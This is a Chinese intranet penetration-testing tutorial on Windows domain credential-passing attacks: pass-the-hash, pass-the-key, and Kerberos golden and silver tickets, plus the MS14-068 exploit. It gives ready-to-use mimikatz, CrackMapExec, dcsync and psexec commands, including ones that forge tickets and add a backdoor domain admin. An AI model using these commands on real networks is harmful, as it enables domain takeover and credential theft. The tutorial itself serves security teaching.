【内网渗透基础】四、内网横向-凭证传递攻击

admin 2025年5月26日13:24:44评论5 views字数 5968阅读19分53秒阅读模式
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
简介 ]
——————————————————————
目不能两视而明,耳不能两听而聪
摘自《劝学】 
—————————————————————— 

凭证传递攻击

本文主要讲解如何利用凭证进行横向传递攻击,涉及的攻击方式有PTHPTKPTT

PTH(pass the hash)即hash传递攻击,如果计算机的本地管理员账户密码都是相同的话,攻击者就可以利用哈希传递攻击的方式登陆到网络中其它的计算机上

PTK(pass the key密钥传递攻击,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能

PTT(Pass-the-Ticket票据传递攻击,过窃取或伪造Kerberos票据(Ticket),绕过密码验证,直接以合法用户身份访问域内资源

目录
凭证传递攻击
1 PTH(hash传递)
1.1 mimikatz利用
        1.2 PsExec利用
        1.3 CrackMapExec利用
2 PTK(密钥传递)
2.1 环境要求
2.2 获取AES值
2.3 密钥传递
3 PTT(票据传递)
        3.1 Kerberos协议
        3.2 黄金票据
        3.1 白银票据
        3.4 MS16-048

凭证传递攻击

混子Hacker     

01

PTH(hash传递)

Pass The Hash简称PTH,也称之为hash传递攻击,该方式主要是通过找到与账户相关的密码散列值,通常情况下是使用NTLM hash来进行攻击,不过需要注意在Windows server 2012 r2 或者Windows 7之前使用道的密码散列值是LMNTLM,而在之后则是使用到NTLM,而在域环境中计算机登陆的时候多数都是使用域账户来登陆,计算机在安装过程中为了方便,基本上会使用相同的账户密码,因此,如果计算机的本地管理员账户密码都是相同的话,攻击者就可以利用哈希传递攻击的方式登陆到网络中其它的计算机上

1.1 mimikatz攻击
运行命令 sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:域用户名的NTLM值
之后会弹出一个CMD窗口
在该窗口可以对域内的主机直接使用net use \ip 进行IPC连接
【内网渗透基础】四、内网横向-凭证传递攻击
1.2 PsExec攻击
下载工具:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
运行:
PsExec64.exe \ip -u username  -p Hash -s cmd
【内网渗透基础】四、内网横向-凭证传递攻击
1.3 ‌CrackMapExec喷洒
下载:
https://github.com/maaaaz/CrackMapExecWin
运行:
crackmapexec smb target ip.txt -u administrator -H 478f4ee0a2f167ae72bdedf209a051f6 -d . 
【内网渗透基础】四、内网横向-凭证传递攻击

混子Hacker     

02

PTK(密钥传递)

微软补丁KB2871997限制了PTH(Pass the Hash)攻击,禁止非管理员账户通过NTLM哈希远程连接,强制转向Kerberos认证Kerberos协议默认使用NTLM哈希加密会话密钥,但PTK改用AES密钥加密SessionKey,使其在补丁后的环境中仍能横向移动。

但是PTK对环境要求需安装KB2871997补丁,导致其使用访问变得十分有限没有PTH使用广

2.1 环境要求

  • 域环境:PTK依赖Kerberos协议,仅在域环境下有效,工作组环境无法获取AES密钥

  • 系统补丁:目标主机需安装KB2871997补丁,否则无法启用AES密钥认证

  • 需获取目标主机的AES256密钥(如通过Mimikatz提取)。

2.2 获取aes值

sekurlsa::ekeys
【内网渗透基础】四、内网横向-凭证传递攻击

2.3 密钥传递

通过Mimikatz生成新的会话,注入AES密钥:

sekurlsa::pth /user:administrator /domain:example.com /aes256:<AES256密钥>

成功后会弹出新的CMD窗口,通过该窗口执行横向连接(如dir \目标IPC$

【内网渗透基础】四、内网横向-凭证传递攻击

混子Hacker     

03

PTT(票据传递)

PTT攻击通过窃取或伪造Kerberos票据,绕过传统密码验证,实现内网横向移动。其核心类型包括黄金票据、白银票据和基于漏洞(如MS14-068)的攻击

3.1 kerberos协议

 Kerberos是一种计算机网络认证协议 ,目的是通过密钥系统为网络中通信的客户机/服务器应用程序提供严格的身份验证服务,确保通信双方身份的真实性。Kerberos协议中在发起服务请求后必须先进行一系列的身份认证,包括客户端和服务端两方的双向认证,只有当通信双方都认证通过对方身份之后,才可以互相建立起连接,进行网络通信。

Kerberos认证过程中有如下几个角色:
    • 客户端(client):发送请求的一方

    • 服务端(Server):接收请求的一方

    • 密钥分发中心(Key Distribution Center,KDC

KDC密钥分发中心一般又分为两部分:

    • AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)

    • TGS(Ticket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)

Kerberos认证过程图解:

【内网渗透基础】四、内网横向-凭证传递攻击

第一次通信clientAS

    • client携带客户端信息向AS发送请求

    • AS返回两部分信息

      • TGT(使用TGS密钥加密客户端只能转发无法查看内容)

      • TGS名称、时戳、时效、clientTGS之间通信使用的session_key。这部分内容使用客户端密钥加密客户通过解密获取其中的信息之后与TGS进行通信

【内网渗透基础】四、内网横向-凭证传递攻击

第二次通信clientTGS之间通信:

    • clientTGS发送两个信息

      • TGT(使用TGS密钥加密)和所请求的ServerIP

      • 客户端信息(使用第一次请求获取的CT_SK加密,只有TGSclient之间才能查看)

    • TGS返回两部分信息

      • ST(Servre Ticket):向服务器请求的票据,使用服务器密钥加密只有服务器能查看信息

      • 时戳ST时效clientserver之间通信的session_key(CS_SK),使用客户端密钥加密

【内网渗透基础】四、内网横向-凭证传递攻击

第三次通信clientserver之间通信:

    • clientserver发送两部分信息:

      • ST(Servre Ticket):使用服务器密钥加密,这个数据第二次通信时TGS返回给client的,客户端只能进行转发无法查看修改内容

      • 客户端信息:使用第二次通信获取的CS_SK进行加密,只有客户端和服务器之间才能查看

    • server响应是否接受请求:server解密ST获取CS_SK,使用CS_SK解密客户端信息

【内网渗透基础】四、内网横向-凭证传递攻击
3.2 黄金票据

Kerberos认证的第一次通信中,AS服务器会向client客户端返回一个TGT票据授予票据还有客户和TGS通信使用CT_SK这个session key并不会存储在

密钥分发中心(Key Distribution Center,KDC),但是TGT使用的是

krbtgt账号的NTLM Hash进行加密的

如果获取到krbtgtNTLM Hash可以伪造一个TGTCT_SK绕过AS的认证

黄金票据常用于权限维持,如前面的攻击中已获取域管权限,抓取了krbtgt的ntlm、SUID。但被应急修复了漏洞和域管密码,随后的攻击又获取一个域内低权限用户,就可以使用黄金票据获取域管权限

获取krbtgtNTLM Hash
mimikatz获取kebtgt账号的SUID、NTLM Hash
输入如下命令
privileg::debuglsadump::dcsync /domain:zz.com /user:krbtgt
【内网渗透基础】四、内网横向-凭证传递攻击
伪造票据
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:hunzihacker.kirbi" exit/admin:伪造的用户名/domain:域名称/sid:SID值,注意是去掉最后一个-后面的值/krbtgt:krbtgt的HASH值/ticket:生成的票据名称    //不是写入内存中的命令!
使用一个域内低权限用户,无法查看目录
【内网渗透基础】四、内网横向-凭证传递攻击
导入票据
kerberos::ptt hunzihacker.kirbi
【内网渗透基础】四、内网横向-凭证传递攻击
查看目录成功
【内网渗透基础】四、内网横向-凭证传递攻击
此时可以添加一个域管账号进行后续攻击
net user hunzihacker01 Admin@123 /add /domainnet group "domain admins" hunzihacker01 /add /domain
3.3 白银票据

在kerberos认证的第三步中使用的服务的hash进行加密的,如果可以获取对应服务的hash值就可以伪造一个ST票据向服务器发起访问请求。不会经过KDC,从而更加隐蔽,但是伪造的票据只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(Windows远程管理),DNS等

白银票据原文链接:
https://zhuanlan.zhihu.com/p/475689947

伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

我们在获取到某一台主机的管理员权限,或者一般情况下我们都在域控上面做白银票据,留作后门。

现在我们在域控上使用mimikatz获取信息:

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

我们找到以username为主机名称的信息:

【内网渗透基础】四、内网横向-凭证传递攻击

获取SID值:

whoami /all

【内网渗透基础】四、内网横向-凭证传递攻击

注意要去掉-500

整理以上获得的信息如下:

/domain:hack.lab/sid:S-1-5-21-3896163557-1645138957-2306563325/target:dc.hack.lab/service:cifs/rc4:b21153e3b2ca87bc4b2031f2a9726613/user:fakeuser

记得清理下系统票据

klist purge

Mimikatz:

kerberos::purge

现在来到我们普通域用户下的win7(172.16.0.105)执行mimikatz:

mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:cifs /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"

执行完我们就可以访问dc服务器上的文件了:

【内网渗透基础】四、内网横向-凭证传递攻击

伪造LDAP服务权限

我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。现在我们使用mimikatz实验获取krbtgt的密码散列:

lsadump::dcsync /dc:dc.hack.lab /domain:hack.lab /user:krbtgt

可以看到是无法获取的:

【内网渗透基础】四、内网横向-凭证传递攻击

记得清理下系统票据

klist purge

Mimikatz:

kerberos::purge

现在我们开始使用上面获取到的信息进行伪造银票:

/domain:hack.lab/sid:S-1-5-21-3896163557-1645138957-2306563325/target:dc.hack.lab/service:ldap/rc4:b21153e3b2ca87bc4b2031f2a9726613/user:fakeuser
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:ldap /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"

我们再次获取的时候就能有权限了:

【内网渗透基础】四、内网横向-凭证传递攻击

3.4 MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll。它允许经过身份验证的用户在其kerberos票证中插入任意PAC,并且可能允许攻击者将未经授权的域用户账户的权限提升为域管理员的权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。

利用条件:

    • 获取域普通用户的账号密码

    • 获取域普通用户的SID

    • 服务器存在此漏洞,即未安装KB3011780补丁

利用过程

    1. 可以通过systeminfo获取系统详细信息,查看服务器是否安装KB3011780补丁。

    2. 通过whoami /all查询用户SID

    3. 在创建票据前先清空系统内票据:

      mimikatz # kerberos::purge
    4. 下载ms14-068漏洞利用程序,然后生成相应票据:

      ms14-068.exe -u [email protected] -p Admin123. -s S-1-5-21-852302026-1017351130-1254579120-1104 -d 目标ip
      其中-u参数指定域用户@域名,-p参数用来指定域用户密码,-s参数用来指定域用户SID,-d参数用来指定域控ip
    5. 使用Mimikatz工具将生成的凭据注入内存中:

      kerberos::ptc 票据文件名
    6. 将票据注入内存中后,使用psexec.exe工具可以连接域控建立交互式会话,拿到域控权限:

      psexec.exe \目标ip cmd.exe
本专栏往期文章:

【内网渗透基础】一、信息收集

【内网渗透基础】二、隧道建立

【内网渗透基础】二、隧道建立(下)

【内网渗透基础】三、权限提升-Windows内核提权

【内网渗透基础】三、权限提升-Windows内核提权(下)

【内网渗透基础】三、权限提升-Windows第三方软件提权

【内网渗透基础】三、权限提升-Linux提权

【内网渗透基础】四、内网横向-主机凭据获取

【内网渗透基础】四、内网横向-IPC横向

原文始发于微信公众号(混子Hacker):【内网渗透基础】四、内网横向-凭证传递攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日13:24:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内网渗透基础】四、内网横向-凭证传递攻击https://cn-sec.com/archives/4095099.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息